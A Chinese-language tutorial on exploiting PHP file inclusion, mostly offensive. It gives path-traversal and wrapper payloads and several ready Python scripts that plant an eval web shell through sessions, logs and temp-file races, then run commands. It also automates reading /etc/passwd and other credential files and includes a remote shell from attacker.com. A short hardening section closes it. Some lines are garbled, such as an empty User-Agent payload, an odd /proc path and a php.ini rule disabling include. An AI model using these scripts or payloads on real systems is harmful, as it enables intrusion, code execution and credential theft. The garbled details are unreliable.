一、文件包含是什么

文件包含漏洞是 PHP(最主要)、JSP、ASP 等脚本语言的核心特性被滥用的结果。

1.1 PHP 的四个危险函数

include();       // 包含文件,找不到报 warning 但继续执行
include_once();  // 同上,但只包含一次
require();       // 包含文件,找不到报 fatal 停止执行
require_once();  // 同上,但只包含一次

1.2 典型漏洞代码

<?php
// index.php
$page = $_GET['page'];
include("pages/" . $page . ".php");
// $page 没做过滤!
?>

正常请求:index.php?page=home → 包含 pages/home.php

攻击者请求:index.php?page=../../etc/passwd → 包含 pages/../../etc/passwd.php

1.3 LFI vs RFI

类型 全称 目标 前提
LFI Local File Inclusion 本地文件 PHP 有文件读取权限
RFI Remote File Inclusion 远程 URL allow_url_include=On

现在大多数生产环境 allow_url_include 都是 Off,RFI 已经很少见了。LFI 仍然非常普遍。

二、基础路径穿越

2.1 基础 payload

``

常规路径

?page=../../../../etc/passwd

当前目录短写

?page=....//....//....//etc/passwd

URL 编码

?page=%2e%2e%2f%2e%2e%2fetc%2fpasswd

双写绕过过滤(把 ../ 替换成空)

?page=....//....//etc/passwd
``

2.2 PHP 5.x null byte 截断

``

PHP < 5.3.4 可用

?page=../../etc/passwd%00

这样就不会自动追加 .php 后缀了

``

2.3 PHP 7+ 的 %00 已经被禁用,但用协议可绕过:

?page=php://filter/convert.base64-encode/resource=../../../etc/passwd

三、LFI 提升:把文件包含变成代码执行

直接 include('/etc/passwd') 只能看到文本内容(不会被执行)。但如果能让包含的文件里有 PHP 代码,就会被当作 PHP 执行。

3.1 Session 文件包含

PHP 默认把 session 存到 /tmp/sess_xxxxxx。如果能控制 session 里的值,就能写入 PHP 代码,然后通过 LFI 包含执行。

# lfi_session.py
import requests

TARGET = "http://target.com/index.php"
LFI    = "http://target.com/index.php?page="
SLEEP  = "sleep"   # 对应 PHP 配置 session.save_path

# Step 1: 写入 Session
s = requests.Session()
# 通过登录/操作让服务端记录 Session
r = s.get(f"{LFI}{SLEEP}")
# 直接设置 PHPSESSID 里带 PHP 代码
# 方法:通过某个功能让 session 里写入可控值
s.cookies.set('PHPSESSID', 'test123')
# 访问一个会写 session 的页面(比如登录失败)
s.post("http://target.com/login.php", data={
    "user": "<?php eval($_GET['c']); ?>",
    "pass": "wrong",
})

# Step 2: 找到 session 文件并包含
# session 文件路径通常在 phpinfo 里能看到
session_path = "/tmp/sess_test123"
r = requests.get(f"{LFI}{session_path}&c=phpinfo();")
print(r.text[:2000])

3.2 日志文件包含

Apache 访问日志里会记录 User-Agent 和其他请求头。如果把 PHP 代码写进 User-Agent,然后通过 LFI 包含这个日志文件,就能执行。

# Step 1: 往日志里写入 PHP 代码
curl -A "<?php eval($_GET['c']); ?>" http://target.com/

# Step 2: 包含日志文件
# Apache 默认日志路径
curl "http://target.com/index.php?page=/var/log/apache2/access.log&c=phpinfo();"
# 或 /var/log/httpd/access_log
# lfi_log.py - 完整自动化
import requests

TARGET = "http://target.com/"
LFI    = "http://target.com/index.php?page="

# 常见日志路径
LOG_PATHS = [
    "/var/log/apache2/access.log",
    "/var/log/apache/access.log",
    "/var/log/httpd/access_log",
    "/var/log/nginx/access.log",
    "/var/log/nginx/error.log",
    "/var/log/apache2/error.log",
    "/www/wwwlogs/target.com.log",
    "/www/server/nginx/logs/nginx.log",
    "/home/wwwlogs/target.com.log",
    "C:/Apache24/logs/access.log",
    "C:/nginx/logs/access.log",
    "C:/Windows/System32/LogFiles/W3SVC1/ex.log",
]

SHELL = b'<?php eval($_GET["c"]); ?>'

# Step 1: 写入日志
headers = {'User-Agent': SHELL.decode()}
requests.get(TARGET, headers=headers)

# Step 2: 扫描包含
for log in LOG_PATHS:
    r = requests.get(f"{LFI}{log}&c=echo PWNED;", timeout=3)
    if 'PWNED' in r.text:
        print(f"[+] 成功!日志路径 = {log}")
        print(r.text[:500])
        break
else:
    print("[-] 没找到,可能路径不同")

3.3 /proc/self/environ 包含

PHP 在 CGI 模式下,/proc/self/environ 里有 HTTP_USER_AGENT 环境变量。包含它也能执行 User-Agent 里的 PHP 代码。

``bash

写入 + 包含

curl -A "" http://target.com/
curl "http://target.com/index.php?page=/proc/self/environ&c=phpinfo();"
``

这个方法的前提是 PHP 运行在 CGI/FastCGI 模式,Apache 模块模式下不行。

3.4 /proc/self/fd/N 包含

某些场景可以打开任意文件描述符:

``
?page=/proc/self/fd/5

fd 是打开的文件描述符,可能对应上传的临时文件

``

3.5 临时文件竞争条件(LFI + 文件上传)

PHP 文件上传后会存在临时文件(/tmp/phpXXXXXX),在脚本执行完之前会被自动删除。如果能在删除前包含它,里面可能有可控内容。

# lfi_tmpfile.py - LFI + 文件上传竞争
import requests, threading, time

TARGET = "http://target.com/upload.php"
LFI    = "http://target.com/index.php?page="

def upload():
    while True:
        files = {'file': ('a.jpg', b'<?php eval($_GET["c"]); ?>')}
        requests.post(TARGET, files=files)

def check():
    tmp_patterns = [
        "/tmp/php%25s", "/tmp/php%25s.jpg",
        "/tmp/phpXXXXXX",
        "/var/tmp/php%25s",
    ]
    for pat in tmp_patterns:
        url = f"{LFI}{pat.replace('%25', '%')}&c=echo+PWNED;"
        r = requests.get(url, timeout=2)
        if 'PWNED' in r.text:
            print(f"[+] SUCCESS: {pat}")
            break

# 或者用 PHP 的 session.upload_progress 特性
# 启用时上传大文件会在 session 里记录进度(含文件名)
# 然后包含 session 文件里的临时文件名

# 启动并发
for _ in range(15):
    threading.Thread(target=upload, daemon=True).start()
for _ in range(50):
    threading.Thread(target=check, daemon=True).start()

time.sleep(60)

3.6 pearcmd.php RCE(经典 LFI 转 RCE)

服务器安装了 pear 时(很多老 PHP 环境自带),可以通过 LFI 包含 pearcmd.php 执行任意命令:

``

先找到 pearcmd.php 的位置

?page=php://filter/convert.base64-encode/resource=/usr/local/lib/php/pearcmd.php

然后 LFI 包含 + 参数注入

格式:?+config-create+/&file=/usr/local/lib/php/pearcmd&/+/tmp/shell.php

最终 URL 被解析为:

pages/../../usr/local/lib/php/pearcmd.php + +config-create+/&file=/usr/local/lib/php/pearcmd&/+/tmp/shell.php

``

四、LFI 读文件清单

4.1 Linux 关键文件

/etc/passwd # 用户列表 /etc/shadow # 密码哈希(需要 root) /etc/hosts # 内网 IP /etc/my.cnf # MySQL 配置 /etc/httpd/conf/httpd.conf # Apache 配置 /etc/nginx/nginx.conf # Nginx 配置 /root/.bash_history # root 的历史命令(有密码) /var/www/html/config.php # Web 应用配置文件 /proc/version # 内核版本 /proc/cmdline # 启动参数(可能有密码) /proc/self/environ # 环境变量 /proc/net/f_impacket # 网络连接 /proc/net/tcp # 所有 TCP 连接 /proc/net/udp # 所有 UDP /proc/meminfo # 内存信息

4.2 自动化读取脚本

# lfi_enum.py
import requests, base64, sys

LFI = "http://target.com/index.php?page="

FILES = [
    "/etc/passwd",
    "/etc/hosts",
    "/etc/my.cnf",
    "/etc/resolv.conf",
    "/proc/version",
    "/proc/cmdline",
    "/proc/self/environ",
    "/var/log/apache2/access.log",
    "/var/log/nginx/access.log",
]

def read_file(path):
    # 用 php://filter base64 安全读取任意文件
    url = (
        f"{LFI}php://filter/convert.base64-encode/"
        f"resource={path}"
    )
    r = requests.get(url, timeout=5)
    # 找 base64 片段
    import re
    m = re.findall(r'[A-Za-z0-9+/]{40,}={0,2}', r.text)
    if m:
        for b64 in m:
            try:
                decoded = base64.b64decode(b64).decode('utf-8', errors='ignore')
                if len(decoded) > 5:
                    return decoded
            except:
                pass
    return None

for f in FILES:
    content = read_file(f)
    if content:
        print(f"
{'='*60}")
        print(f"[+] {f}")
        print(content[:1000])
    else:
        print(f"[-] {f} 读取失败")

4.3 Windows 关键文件

C:/windows/win.ini C:/windows/system32/config/sam # 密码哈希 C:/windows/system32/config/system C:/windows/system32/config/software C:/windows/system32/inetsrv/config/applicationHost.config # IIS C:/xampp/apache/conf/httpd.conf # XAMPP C:/wamp/apache/conf/httpd.conf C:/windows/system32/drivers/etc/hosts

五、RFI 远程文件包含

5.1 前提条件

``ini

php.ini

allow_url_include = On # 默认 Off
allow_url_fopen = On # 默认 On
``

5.2 RFI payload

``

远程 PHP 文件(最直接)

?page=http://attacker.com/shell.txt # attacker.com 上放 shell.txt,PHP 代码

data:// 协议

?page=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOyA/Pg==

php://input POST 数据包含(allow_url_include=On 时)

POST body 写 PHP 代码

?page=php://input

expect:// 执行命令(需要安装 expect 扩展)

?page=expect://id
``

5.3 RFI vs LFI:谁更危险?

维度 LFI RFI
前提 PHP 读文件权限 allow_url_include=On
能力 读文件 + 间接执行 直接执行远程 PHP
现状 仍然大量存在 基本绝迹
经典 payload Session/日志/临时文件 远程 txt 木马

六、Java 环境下的文件包含

Java 没有像 PHP 那样的 include 函数,但自定义的模板引擎Spring Cloud 配置存在类似风险:

6.1 JSP include

jsp <jsp:include page="${param.page}" /> <jsp:include file="${param.page}" /> <!-- 某些容器 -->

6.2 FreeMarker / Velocity 模板

java // 后端代码把用户输入拼进模板路径 String template = "/templates/" + request.getParameter("name") + ".ftl"; configuration.getTemplate(template).process(data, writer); // 路径穿越:name=../../etc/passwd%00

6.3 Spring Boot spring.config.location

Spring Boot 1.x 允许通过参数指定外部配置文件路径,存在路径穿越:

bash java -jar app.jar --spring.config.location=../../../../etc/passwd

七、LFI 与其他漏洞组合

7.1 LFI + 文件上传 = RCE

  • 上传一张 PHP 图片马(内容包含 PHP 代码)
  • 通过 LFI 包含这张图片 → 执行

7.2 LFI + SSRF = 内网文件读取

  • SSRF 拿到内网某台机器的文件包含点
  • LFI 读取内网配置

7.3 LFI + 日志注入 = RCE

  • 往 Nginx/Apache/PHP-FPM 错误日志写 PHP 代码
  • LFI 包含日志 → 执行

7.4 LFI + PHP 伪协议 = 任意文件读

  • 直接 php://filter/convert.base64-encode/resource=/path/to/file
  • 绕过后缀自动追加和 PHP 标签执行

7.5 LFI + PHP 反序列化 = 利用链

  • 先找到 __wakeup 被触发的 POP 链
  • 通过 include /tmp/xxx 触发反序列化
  • 再利用 __toString 之类进入下一环

八、防御方案

8.1 路径穿越防护

<?php
// 方案一:白名单
$allowed = ['home', 'about', 'contact'];
$page = $_GET['page'];
if (!in_array($page, $allowed)) die('非法页面');
include("pages/" . $page . ".php");

// 方案二:realpath 校验
$base = realpath("./pages/");
$full = realpath("./pages/" . $_GET['page'] . ".php");
if (!$full || strpos($full, $base) !== 0) die('非法路径');
include($full);

// 方案三:禁用危险 Wrapper(php.ini)
allow_url_include = Off
allow_url_fopen   = Off
disable_functions  = include,require,file_get_contents,fopen

// 方案四:open_basedir 限制路径
open_basedir = /var/www/html:/tmp
?>

8.2 全面加固清单

  • 禁止 allow_url_include
  • open_basedir 限制 PHP 可访问目录
  • 关键函数加入 disable_functions
  • 使用 realpath 校验文件必须在允许目录内
  • 日志文件权限(Web 用户不能读)
  • Session 存储目录权限(Web 用户不能枚举)
  • Nginx/Apache 禁用 %00 和路径穿越
  • 上传目录与 Web 根目录分离(非执行)

九、小结

LFI 的攻击面比 SSRF 更广、利用链更短:

``
LFI = 任意文件读

  • 日志包含 → RCE
  • Session → RCE
  • 临时文件 → RCE
  • pearcmd → RCE
  • PHP 伪协议 → 读取任意文件源码
    ``

关键思路:如果 include 能被用户控制路径,几乎一定能升到 RCE。